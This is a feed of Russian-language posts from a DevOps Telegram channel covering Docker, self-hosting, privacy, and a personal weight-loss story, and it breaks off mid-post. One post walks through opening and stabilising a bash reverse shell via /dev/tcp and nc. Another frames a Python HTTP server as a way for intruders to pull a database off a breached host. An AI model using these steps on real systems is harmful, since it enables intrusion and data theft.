Bash Days | Linux | DevOps
23.5K subscribers
175 photos
24 videos
707 links
Авторский блог от действующего девопса

Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу.

Автор: Роман Шубин
Реклама: @maxgrue

MAX: https://max.ru/bashdays

Курс: @tormozilla_bot
Блог: https://bashdays.ru
Download Telegram
Volume VS Bind в Docker

Сегодня рассмотрим, как и в каких случаях правильно использовать bind или volume при запуске docker контейнеров.

Пересмотрев кучу docker compose файлов, можно сделать вывод — большинство даж не понимают что они делают. Что печально, прожжённые девопс-инженеры продолжают харкодить и творить дичь. Видимо придерживаются методологии — у меня работает, остальное похуй.

Вообще есть правило:

- Если нужно редактировать файлы руками с хоста, используешь Bind Mount.

- Если данные нужны только приложению (БД, логи, кэш) используешь Volumes.

Шпаргалка, что есть что:

# Это docker volume, данные хранятся в
# /var/lib/docker/volumes/

volumes:
- nginx_data:/etc/data

# Это bind mount, данные хранятся рядом
# с файлом docker-compose.yml

volumes:
- ./data:/etc/data


Ну и никто не запрещает это совмещать, но старайся разделять. Тем более при работе с volumes, в docker есть удобные команды, ну и через midnight commander можешь физически потыкать файлы, при условии если есть рутовый доступ к файловой системе.

Самое главное не делай так:

Про этот случай я и писал в начале поста, вроде человек 20 лет отрубил в айтишке, а пишет хуйню.

volumes:
- /home/anus/conf.d:/etc/nginx/cond.f
- /home/anus/data/logs:/var/log/nginx


Тут идет жесткая привязка к путям и после запуска наступишь на грабли, либо получишь по ебалу от бедолаги который это запустит. Короче так не делай!

Я лично предпочитаю volumes и порой даже конфиги в нем храню, потому что этот volume можно легко примаунтить к любому другому контейнеру и получить доступ к этим файлам.
Банально возьмем связку nginx + php-fpm, используем один общий volume и php скрипты корректно выполняются.


Bind mount удобен при разработке и отладки. Ты монтируешь папку с исходным кодом проекта. Правишь код в IDE на хосте и изменения мгновенно подхватываются приложением внутри контейнера.

А еще есть полезный флаг: «RO», используется в ситуациях, когда тебе нужно что-бы приложение в контейнере не перезаписывало данные в примонтированном каталоге. Удобно для отладки или для каких-то ограничений.

Пример:

services:
web:
image: nginx:alpine
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./logs:/var/log/nginx


При всём желании, конфиг nginx.conf нельзя модифицировать из приложения в контейнере. Это можно сделать только на хостовой машине. Второй же bind mount по умолчанию - «RW».

Ну и пожелания:

- Используйте именованные тома, вместо анонимных томов (которые выглядят как длинный хеш 4f32a...) всегда давайте томам осмысленные имена: db_data, app_uploads

- Придерживайся принципа - «Один контейнер — один вольюм». Старайтесь не монтировать один и тот же вольюм в 10 разных контейнеров на запись. Если нужно делиться данными, один контейнер должен быть «владельцем» (RW), а остальные — «потребителями» (RO).

- Бэкап: Правило «3-2-1». Volume — это не бэкап, это просто место хранения. Если ты случайно ёбнешь вольюм командой prune, данные исчезнут.

Используйте временный контейнер для создания архива:

docker run --rm -v db_data:/data -v $(pwd):/backup busybox tar cvf /backup/backup.tar /data


- Docker со временем накапливает «висячие» (dangling) вольюмы — это те, что остались от удаленных контейнеров. Периодически запускай docker volume prune. Оно удалит только те тома, которые не подключены ни к одному контейнеру (включая остановленные).

- Разницы в скорости между Bind и Volume почти нет, оба работают напрямую через ядро. Но это зависит от операционной системы, если у тебя винда и 100500 абстракций, то будут тормоза.

Вот такие пироги, если есть чё добавить, жду тебя в комментариях.

🛠 #docker #linux #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
664
Как-то так, с Наступающим друзья и коллеги 🥳
Please open Telegram to view this post
VIEW IN TELEGRAM
10112
Почтовый сервер у себя дома

Вчера решал интересную задачку. У меня в интернетах крутится собственный почтовый сервер на домене, сервер ежемесячно поджирает стабильно около 2к рублей. Хотя за месяц от силы я получаю 10-20 писем.

Избыточно в плане инфраструктуры и затрат? Конечно! Разумно перетащить его к себе на домашний proxmox и избавиться от одной статьи расходов.

Во время проектирования миграции, было много вопросов и самый главный — у меня нет белого IP в домашнем сегменте, как быть? DynDNS я ебал, да и с микротиком возиться не хочется.

Всё оказалось достаточно просто. Создаем условно за 100 рублей сервер в интернетах с белым IP, втыкаем на него angie с модулем stream, объединяем этот сервер с домашней сетью с помощью netbird или другой технологией. И просто проксипасим все запросы в домашний сегмент.

Про MX, SPF, DKIM писать не буду, все это настраивается отдельно, не сложно.


Звучит логично. Но на практике пришлось поебстись и почитать спецификации всей этой кухни.

Конфиг для angie получился такой, он работает при условии наличия модуля stream.

nginx
upstream imap_backend {
server 100.106.7.8:993;
}

upstream smtp_backend {
server 100.106.7.8:587;
}

upstream sieve_backend {
server 100.106.7.8:4190;
}

server {
listen 993;
proxy_pass imap_backend;
proxy_timeout 1h;
proxy_connect_timeout 30s;
}

server {
listen 587;
proxy_pass smtp_backend;
proxy_timeout 1h;
proxy_connect_timeout 30s;
}

server {
listen 4190;
proxy_pass sieve_backend;
proxy_timeout 1h;
proxy_connect_timeout 30s;
}

дополнительные порты сам добавь, сюда всё не влезло


Суть тут такая, все запросы на определенные порты, перенаправляются в netbird сеть, а 100.106.7.8 это IP адрес как раз моего LXC контейнера с почтовым сервером в домашнем proxmox.

Получилась банальная прокся. Великолепно то, что angie автоматом получает SSL сертификаты и в почтовых программах с этим заморачиваться не нужно, просто указываем домен, порт и всё работает как часы.

sieve_backend нужен, чтобы управлять фильтрами в почте, например при получении письма с определенным заголовком, переносить это письмо в другую папку.

Я использую nextcloud mail, и там есть поддержка sieve из коробки. Потыкал еще roundcube для морды, но чёт не зашла, топорная какая-то штука, хотя рабочая.


Да, в роле почтового сервера у меня установлен docker-mailserver. Штука классная, установил, пару тычек выписал в конфиг и оно работает. Морды в ней нет, чисто логическая часть, что-то вроде бекенда.

Еще нюанс в конфиге docker-mailserver я прописал SSL сертификаты, эти сертификаты я взял в angie после того как он мне их выдал. В этом плане нужно еще придумать, как организовать передачу этих сертов к себе в proxmox.

environment:
- SSL_TYPE=manual
- SSL_CERT_PATH=/tmp/dms/custom-certs/certificate.pem
- SSL_KEY_PATH=/tmp/dms/custom-certs/private.key

volumes:
- ./ssl:/tmp/dms/custom-certs/:ro


Банально можно через scp копировать, но в идеале поднять vault hashicorp и хранить серты там и по необходимости дергать от туда в любое место.


Ну и важное уточнение, отправлять почту во вне, тебе в нынешних реалиях никто не даст (25 порт на отправку везде заблочен), поэтому используем какой-нибудь relay для этого. Благо есть полно таких, кто дает отправить 10-15к писем в месяц легально и бесплатно. Я пользуюсь этим сервисом несколько лет.

Что еще. Возможно будут проблемы с SPF, но если оно тебе в хуй не уперлось, то отключаем в конфиге docker-mailserver - ENABLE_POLICYD_SPF=0.

Ну и SIEVE включается там же через ENABLE_MANAGESIEVE=1.

Плюсом можешь воткнуть mail archiver и вообще горя не знать. Теперь все твои письки письма под контролем и ты сам себе хозяин этой суеты. Ну и дополнительная экономия на избыточной инфраструктуре.

На этом всё, изучай. Концепт я тебе показал, нюансы рассказал, так что дерзай, всё решаемо.

🛠 #selfhosting #proxmox #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
352
С наступающим! Здоровья тебе и твоим близким!

Каждому из вас хочу сказать огромное спасибо за вклад в наше уютное сообщество. Вы все прекрасные специалисты, профессионалы и просто хорошие люди.

Пусть в 2026 году у тебя всё получится, главное не опускай руки и никого не слушай.

Прекрасных тебе праздников и береги себя!

Всех обнял 🙃🙃🙃
Please open Telegram to view this post
VIEW IN TELEGRAM
16181
Ну началось…

Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде lynx, а прям полноценный, с поддержкой графики, скриптов и со всеми современными технологиями.

Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.

Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.

Поехали собирать:

git clone https://codeberg.org/janantos/brow6el.git

sudo apt install build-essential cmake gitlibsixel-dev libgtk-3-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libglib2.0-dev

cd /tmp/brow6el
chmod +x download_cef.sh
./download_cef.sh

mkdir -p build
cd build
cmake ..
make -j$(nproc)


Готово! Теперь запускаем:

cd build
./run_brow6el.sh https://linuxfactory.ru


Как это работает?

В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.

Функции:

- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL

Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.

Короче забавная штука, пользоваться я этим говнищем не буду, но как концепт потыкать вполне себе достойно.


Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.

🛠 #utilites #linux #terminal

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
677
В хромо подобных браузерах в «Режиме разработчика» есть интересный инструмент, называется «Sensors». Про это очень мало кто знает, поэтому я принес это тебе.

Суть вкладки — можно задать любую геолокацию. По итогу сайты, которые это отслеживают мягко говорю прихуеют. В Sensors можно поменять не только геолокацию (можно свою в пресетах накрутить), но и еще всякие штуки включить — ориентация, тачи а не клики, логическое число CPU.

Короче инструмент подменяет реальные значения на кастомные.

Например, заходишь на сайт, разрешаешь пробив геолокации и сайт видит тебя, что ты вообще — самурай с японской локализацией браузера.

Очень полезно для тестирования приложений, как распределяются воркеры, как работает распараллеливание, обман fingerprinting и т.п.

Мы раньше применяли эту фичу для аналитики фишинговых страниц, которые не честно собирали данные про пользователей и отправляли в бигдату с целью дальнейшей обработки.


Ну и плюсом, для тех кто не знал — на вкладке «Network» есть выпадающий список «Trottling», в нем ты можешь выбрать качество интернет соединения, либо задать своё. Ну и посмотреть как будет вести себя сайт например при скорости в 2G.

Вот такие пироги, изучай!

🛠 #services #feature #dev

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
6100
Я тут это, капчу накрутил. Создавал под один нищенский нишевый проект.

😲 Сможешь пройти?

Подсказываю — можно накидать bash скрипт, который будет эмулировать нажатие F24 и успешно пройти эту проверку через передачу кейкода в xdotool. Ну либо клавиатуру купить как на картинке.

Концепт на Bash:


for i in $(seq 1 50); do
xdotool key F24
sleep 1
done


Всем хорошей рабочей недели!

🛠 #security #feature #dev

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
568
Встречайте новый формат инженерного диалога

T-Sync Conf — офлайн-конференция от Группы «Т-Технологии» для опытных инженеров. 7 февраля в Москве на площадке TAU соберутся платформенные, security- и дата-инженеры, аналитики, DevOps-, SRE-, CI/CD-, AI-, ML-, R&D- и DX -специалисты.

Как все устроено:
— Контуры — тематические зоны, каждая из которых раскрывает отдельный слой инженерной реальности: AI, Data, R&D, Security, Platform и другие направления.
— Вместо классических докладов — круглые столы, стенды, хакатон, воркшопы и мастер-классы.
— Инженерные решения изнутри — возможность посмотреть, как устроены технологии в Т-Банке и других компаниях, и пообщаться напрямую с теми, кто их создает.

А еще много практики, интересных знакомств и живых систем.

Успейте подать заявку
9
Tagd Tagd продолжает делиться с нами своими ИТ хаками, тем более после январских праздников у многих кость знатно расширилась. Благо у меня глисты и мне это «наверное» не грозит, но ты почитай, глядишь сгодиться. Поехали!


Часть 1. Рассказ о том, как я похудел со 130 до 85 килограмм.

Видимо я был очень жирным. Пришлось разбить на две части. :-) Это первая часть. Вторая часть здесь.

ИТ - работа с активной умственной работой и отсутствием физической активности. Мозгу нужна глюкоза. Дозировать ее сложно, и поэтому физическое развитие идет в ширину. Оглянитесь - среди айтишников с опытом практически отсутствуют атлеты. Я был такой же. Жирный-мирный. Два раза в год ходил к вертеброневрологу править позвоночник и задыхался при подъеме на третий этаж.

Лицензионное соглашение.

Я никого ни к чему не призываю, ничего не рекомендую, ни за что не отвечаю. Просто рассказываю о себе.


Однажды я встретил знакомого, который постройнел. Он сказал, что просто перестал есть хлеб и сладкое и через месяц у него не стало живота. Это послужило триггером, и я решил попробовать.

Похудение - не диета. Это изменение образа жизни!!! Тут все просто, как в арифметике - есть потребляемые калории, есть расходуемые. Чтобы худеть — нужно меньше жрать калорий.


Я худел в несколько этапов.

1. Отказался от мучных и сладких изделий.
2. Отказался от газированных напитков и соков.
3. Заменил колбасу/сосиски на курятину/индюшатину/рыбу (но не соленую и не консервы).
4. Меняем сливочное масло → сыр → творог. Сметана → кефир.
5. Исключил картофель, добавил в рацион больше каши (гречка, пшеничка, перловка, овсянка). Все без сливочного масла, но с овощами.
6. Уменьшил порции (просто купил маленькую пиалу, и решил, что еда в ней должна быть «без горки».
7. Чай/кофе с одной ложкой сахара можно только 3 раза в день (завтрак/обед/ужин). В остальное время вода. Можно теплая/горячая.
8. Жареное лучше заменить на вареное/тушеное.
9. Увеличил количество овощей и фруктов в рационе. ⭐️

Прядок не важен (кроме последнего) - Применили один пункт - Подождали, Продолжили.

👆 Если Вы что-то убираете из рациона - добавьте овощи или фрукты. И Это НАВСЕГДА!!!

Я худел в несколько этапов. На первом этапе снизил вес со 130 до 105. Потом полка. Привыкал к новому весу.

Затем снизил до 95. И опять полка.

Сначала я худел по 10 кг за месяц. И это было неправильно. Меня шатало, настроение было очень плохим, упали когнитивные способности. Правильный темп похудения - 3-4% текущей массы тела в месяц.

Раз в неделю один завтрак | обед | ужин можно есть - что захочется (я ел мороженное). Но только раз в неделю и только один прием пищи, с соблюдением правила пиялки.

Потом с 95 до 83. Сегодня у меня ~85. Всем Здоровья!

🛠 #рабочиебудни

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
393
Часть 2. Рассказ о том, как я похудел со 130 до 85 килограмм.

Первая часть здесь


🔤🔤🔤🔤🔤🔤🔤

Ну, и теперь просто несколько личных фактов про похудение:

* При очень быстром похудении может быть холодно. Падает температура тела (у меня по утрам была 35). Это не хорошо. Влияет на жизнедеятельность бактерий внутри.
* Если не есть овощи/фрукты и йогурт/кефир могут возникнуть проблемы с пищеварением.
* Некоторые фрукты с "вяжущим" вкусом лучше исключить на время снижения веса. Например незрелые груши, айва, хурма.
* Морковь нужно есть со столовой ложкой растительного масла. (желательно чуть отварить или протушить)
* Если хочется чая/кофе, то на самом деле мозг требует сахара. Попробуйте выпить чай/кофе/воду пару раз без сахара, и желание что-нибудь выпить быстро пропадет.
* Если съесть/выпить сладкое - есть хочется значительно сильнее, чем раньше.
* Если вышел из-за стола с чувством, что наелся - значит переел.
* Оглянитесь, есть ли в вашем окружении "пушеры" (люди которые предлагают/подбивают съесть лишнего или ненужного). Минимизируйте общение с ними.
* Взвешиваться нужно каждое утро. В одно и то же время. Я взвешиваюсь перед завтраком. В это время вес минимальный за сутки :-)
* Некоторые китайские весы запоминают последний вес. И если новый отличается от старого меньше чем +/- 300 гр - показывают предыдущий (типа очень точные. Хреновы маркетологи). Решается взвешиваем другого веса или взвешиванием после ужина (без учета результата).
* Разница в весе между вечером и утром может быть 1 кг (вода и углекислый газ)
* Вес может меняться +/- 1кг в течении месяца в зависимости от фазы луны. И это не приливы.
* При длительном (более 6 месяцев)стабильном весе съесть можно все: торт, пирожки, конфеты, шашлык, но однократно, и с ежедневным контролем веса.
* Если съесть соленое/кислое или арбуз - вес утром может быть +2-3 кг. Но это проходит за два-три дня. Если не проходит - нужно провести ретроспективный анализ и устранить причину.
* При стабильном весе балансировка веса - ужином. На 200гр воды (одна, две (норма) или три столовые ложки с горкой) овсянки c яблоком/бананом на воде.
* Завтрак в 6:30 второй завтрак в 10:40 (только стакан киселя) обед 13:30 ужин в 17:00.
* Снижать вес трудно. Поддерживать - нет.
* Беговая дорожка каждый день в 20:00 (быстрый шаг 5.5-6.5 км/ч 20-30 мин с разминкой и заминкой) уменьшает и калории и чувство голода.
* сон 22:00.

Побочные эффекты:

* Летом - сильная экономия на дезодорантах и порошке для стирки.
* Штаны не протираются между ног. Каблуки в обуви не проваливаются.
* Придется полностью сменить гардероб. Я сменил не только рубашки/брюки но и обувь!!!
* На пятый этаж можно подняться даже не сбив дыхание.
* Походы к вертеброневрологу не нужны.

Всем здоровья.

🛠 #рабочиебудни

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
6139
Стабилизация реверс-шелла

Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.

Для начала на своей машине запускаем:

nc -lvnp 2288


Этой командой мы откроем порт 2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.

Теперь на подопытной машине запускаем:

/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1


Возвращаемся на свою машину и видим, что коннект произошел:

root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#


Отлично. Пробуем нажать CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.

Стабилизируем shell

script /dev/null -c /bin/bash


Отправляем консоль в бекграунд, нажимаем CTRL+Z

root@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288


Возвращаемся:

stty raw -echo; fg


Нажимаем: ENTER

export TERM=xterm


На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.

Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.

Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:

- Практикуем reverse-shells
- Генератор reverse-shells

🛠 #security #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
563
Интимность данных

Как мы знаем, любая операционная система что-то куда-то шлет, шпионит, собирает данные. Потом этими данными начинают жонглировать всякие мастодонты вроде гуглахлама, мягкософта, аппла и т.п.

В лучшем случае тебе покажут таргетированную рекламу, в худшем сольют по первому звоночку всю твою подноготную всяким секрет малдерам и фибиэрам. И узнаешь ты это не сразу, а спустя 2-3 года, а возможно и не узнаешь.

Как говорил мой знакомый — да кому мы нужны, все наши данные давно уже гуляют по сети. Но когда он узнал, что гугол взял его учетку (со всем содержимым и метаданными) и просто отдал третьим лицам на изучение — начинаешь задумываться, причем становится по настоящему жутковато.


Возможно кто-то из вас получал подобные письма (Google received and responded to a legal process issued by the…) и знает это ощущение безысходности. Да, похоже на фейк (2018 года) и фишинг, но увы всё по настоящему. Поищи в сети если интересно, много таких случаев как оказалось.

Ебала рыба озеро! 😲

Лишь только по этим причинам я полностью выпилился из гугла и его сервисов. Про этот большой пиздец-переезд я запилю отдельный пост, было очень познавательно и увлекательно, особенно со смартфоном. Ладно, теперь по теме поста.

Сегодня речь про Privacy Sexy. Кроссплатформенная забияка, с открытым git репозиторием и возможностью установить на машину как отдельное приложение либо использовать через веб.

Этот проект помогает включать/отключать privacy и security настройки в Windows / macOS / Linux с помощью готовых «твиков» и скриптов.


Ты просто выбираешь нужные галочки, а справа получаешь готовые скрипты, которые нужно запустить. Да, под Linux и Mac это будут именно Bash скрипты. Это отличная возможность посмотреть в кишочки и забрать какие-то идеи в свои проекты.

Что внутри:

- Больше 5 сотен скриптов/настроек, которые уменьшают телеметрию, отключают лишние сервисы, усиливают безопасность и приватность.
- Есть графическое приложение (desktop) и веб-версия.
- Всё прозрачно — видно, что именно делает каждый твик/скрипт.
- Обратимость — можно откатить изменения (revert).
- Полный open-source, лицензия AGPL-3.0.

Важно и ценно — в отличие от рандомных «батников» из интернета, privacy.sexy показывает, какие именно изменения будут сделаны и генерирует скрипты прозрачно.

Пользуйся на здоровье, это лучше всяких бинарных твиков!

Ну и не храни на гугол драйве своё хоум-видео с пылесос-отсосом, неровен час сам станешь звездой такого эпизода на которую однажды будут дрочить малдеры с дикого запада.


🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
1060
Многих эта тема обошла стороной, дело привычки берет своё.

Я про docker-compose.yaml. Так вот, в современных дистрибутивах не обязательно называть так файл, достаточно обозвать его compose.yaml и всё будет работать. Но при условии если у тебя не допотопная ОС со старой версией docker’a.

Современный docker давно перешел на compose.yaml.

docker-compose — это отдельный python-инструмент
docker compose — встроенный плагин docker cli


Теперь docker в приоритете ищет файл compose.yaml и только потом старый docker-compose.yaml. И так и так все будет работать. Оно пока на это не ругается, но рано или поздно к этому придут.

Наверное ты уже замечал, что если в yaml указать version: 3.9 оно скажет — ты ебанутый? Я пожалуй это проигнорирую.

Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.

Кстати аналогичная хуйня в кубере, где версию апихи указываешь в манифестах. Если ты не знаешь как с этим работать, будет тебе боль и страдания. За эту тему поговорим отдельно.


Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.

Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В version:3 Docker Compose просто молча игнорировал: mem_limit, cpu_shares, cpus, restart_policy, depends_on. Не было ни ошибок, ни предупреждений. Просто ничего не происходило. Контейнер запускался, но не как ожидалось.

version: "3"
mem_limit: 512m


Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!

version:3 — Swarm-спека

Ну и про yaml и yml пару строк. Можно писать так и так, оба варианта равноправны. Но всё же рекомендуется yaml, потому что это полное официальное расширение, так пишется в спецификациях и документациях. Плюсом это единый стиль Kubernetes, GitHub Actions, Helm и т.п.

На сколько помню yml пошел со старых систем, когда было ограничение в 3 символа, опять же наследие прошлого.

Возможно ошибаюсь, поправьте в комментах.

🛠 #docker #linux #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
557
Как тебя вычисляют по шрифтам

Гугловский пробив по кукисам это классика, но это не единственный механизм сопоставления. Сегодня рассмотрим browser fingerprint (fonts).

Пробежимся по кукисам.

Практически на каждом сайте, установлен анальный-зонд с маркировками: Google Analytics, Google Ads, YouTube embed, reCAPTCHA и т.п. То есть страница сайта подгружает внешние скрипты и код с доменов гугла.

Когда ты заходишь на такой сайт, браузер отправляет кукисы в гугол, в них будет информация: твой id (у тебя будет один и тот же для разных сайтов), с какого сайта ты пришел, ip, браузер, время, язык, локация и т.п.

Короче в эту клоаку уходит максимальное количество данных, которое можно от тебя получить. Ну а дальше тебе подсовывают рекламу — ага, этот чёрт читал про «ипотеку», давай заскамим его таргетированными предложениями про ипотеку.

Если ты залогинен в гугле и гуляешь в этом же браузере по другим сайтам — гугл это знает. Мало того, при любом звоночке, он без раздумий передаст эту информацию «малдерам».

Звучит как сказка, но у гугла есть статистика сколько они слили данных по таким запросам. И да, когда ты с закрытыми глазами принимал «лицензионное соглашение», в нём все это оговаривалось.


Что же такое fonts fingerprint?

Это как тест ДНК, который даёт до 99% совпадения. Шрифт это как паспорт. У каждого пользователя свой, уникальный набор шрифтов. Даже если ты отключишь кукисы, у гугла есть другие инструменты для слежки: разрешение экранов, шрифты, webgl, canvas, timezone, ip + поведение.

Кстати «режим инкогнито» не спасёт, это — миф. В этом режиме браузер не сохраняет историю, не сохраняет кукисы после закрытия. ВСЁ! Куки это верхушка айсберга, все остальные методы скрыты под капотом.

Fingerprint это корреляция десятков сигналов во времени.


Как работает классический font fingerprint:

Я подготовил страничку, в ней содержится как раз такой детект по шрифтам и канвасу. Открой её в браузере, а потом открой в «инкогнито» и ты сильно удивишься. Шрифты и хеш канваса будут идентичные.

Даже если открыть страницу в другом браузере, Canvas Hash в большинстве случаев будет идентичен. Для чистоты эксперимента, открой страничку в ТОR браузере и ты увидишь, что набор шрифтов поменялся, да и canvas hash протух.

Идея метода: берем текст, рисуем его с базовым шрифтом (serif / sans-serif), тестируемым шрифтом + fallback, сравниваем размеры, если размеры изменились — шрифт установлен в системе.

И по итогу мы имеем паспорт пользователя: шрифты = ОС + язык + софт. Шрифты меняются редко, уникальность очень высокая, не ломаются при включении VPN / Инкогнито.

fonts + canvas + webgl ≈ уникальность > 99%


А чё делать?

Использовать разные браузеры под разные задачи. Один браузер чисто для гугла (но рекомендую вообще снести учетку и сделать чисто под ютуб), второй для сёрфинга, третий для просмотра порнушки.

На рынке много антидетект браузеров, один из лидеров это LibreWolf. Этот браузер (Firefox на стероидах приватности) подсовывает одинаковый виртуальный набор, ломает измерения, возвращает одинаковые размеры, добавляешь шум.

Отключает webgl fingerprint, режет canvas, нормализует timezone, screen size, locale, отключает webrtc leak, блокирует third-party cookies, выключает телеметрию Mozilla, ломает high-entropy сигналы, всегда врёт одинаково.


LibreWolf не делает «рандом», он делает массовую «одинаковость». То есть условно у 100 пользователей, которые пользуются этим браузером, будут идентичные данные. А среди 100 таких пользователей, тебя сложно идентифицировать — ты одинаковый. Чем больше уникальности, тем легче тебя узнать.

Но ты всё равно спалишься, если залогинишься в гугле, либо будешь использовать этот браузер под разные задачи в рамках одной сессии.

Чтобы скрыться, одного браузера мало, приватность это комплексная мера. По мере моей лени, буду накидывать подобные темы и снимать с тебя розовые очки.

Ну а ты пока переваривай весь этот пиздец. Дальше затрем за Cloudflare и его приколы.

🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
482
Как быстро скачать файл с сервера

Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.

Из ситуации можно выйти проще.

Этот способ в основном используют спец-люди, которые в результате blackbox вектора проникли на север и им нужно утащить жирненькую базу данных. Всё элементарно.


Заходим в любую папку с файлами и запускаем:

python -m http.server 2977


Если питон старый, потрёпанный и сморщенный как хуй, делаем так:

python -m SimpleHTTPServer 2977


Затем курлим файл и скачиваем его к себе на машину:

curl -O http://linuxfactory.ru:2977/bashdays_db.zip


А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.

Еще бывают случаи когда curl не установлен, но wget есть из коробки:

wget -O bashdays_db.zip http://linuxfactory.ru:2977/bashdays_db.zip


Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!

🛠 #security #linux #tricks

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
374
Здрасти приехали!

Томить не буду — SelectOS теперь в реестре российского ПО Минцифры.

А это значит, что теперь не нужно оправдываться, что твой прод работает на «не совсем отечественном» ПО.

Ставишь SelectOS, запускаешь проекты и спишь спокойно. А если возникло техническое недопонимание — вендор решит твою проблему. Прям сказка какая-то!

Что в коробке:

- Бесплатный старт → SLA при росте
- 500+ проверенных конфигураций
- Расширенная документация
- Обновления без сюрпризов

Скачать и протестировать самому — лучший аргумент.

🦖 Качни бесплатно и потыкай: https://slc.tl/ugelq

Так же я писал серию постов про эту ОС, было разжевано большинство нюансов. Ознакомиться с полным «старт-паком» можешь по этим ссылкам:

-
Пробуем SelectOS
-
SelectOS в деле
-
Ставим SelectOS в облако

Реклама. ООО "Селектел-Лаб". erid:2W5zFG1ryvQ
Please open Telegram to view this post
VIEW IN TELEGRAM
25
Получаем SSL сертификат на IP адрес.

Вот и случилось, теперь ты можешь сгенерить валидный SSL сертификат для айпишника. Не самоподписанный, а прям настоящий от Lets Encrypt.

Не путать с mkcert, это совсем другое.


Единственный момент, такой серт будет валиден несколько дней (160 часов), поэтому придется почаще его выпускать, сейчас ставят 5 дней для обновления, как золотую середину. НЕ рекомендуется ставить 6, иначе можешь словить граблю. Вообще acme сам всё в кроне должен прописать, но это не точно.

Пока это может делать только acme, все остальные (certbot, angie) совсем скоро к этому придут.

Да, для домаших айпишников увы, такая чача не проканает, при попытке получить такой серт, получаем ошибку:

Cannot issue for \"192.168.10.91\": IP address is in a reserved address block: [RFC1918]: Private-Use"


Ну оно и логично, спецификации никто не отменял.

Я буду генерить для 178.72.129.181 на котором у меня установлен nginx. Виртуалка прерываемая, так что денег практически не жрет, для тестов в настоящем облаке — милое дело.

Приступим:

Не забудь подставить своё мыло, а то меня спамом завалит и я буду материться на кота.

curl https://get.acme.sh | sh -s email=shubkin@bashdayz.ru


Конфигурируем default в nginx:

server {
listen 80 default_server;
listen [::]:80 default_server;

server_name _;

location ~ ^/.well-known/(acme-challenge|pki-validation)/ {
add_header Content-Type text/plain;
root /var/www/letsencrypt;
}

location / {
return 301 https://$host$request_uri;
}
}


Создаем структуру папок и релоадим:

mkdir -p /var/www/letsencrypt
mkdir -p /etc/nginx/ssl
nginx -t
nginx -s reload


Выписываем пиздюлей сертификат:

acme.sh --issue --server letsencrypt -d 178.72.129.181 -w /var/www/letsencrypt --certificate-profile shortlived --days 3


Отлично, сертификат получили, устанавливаем:

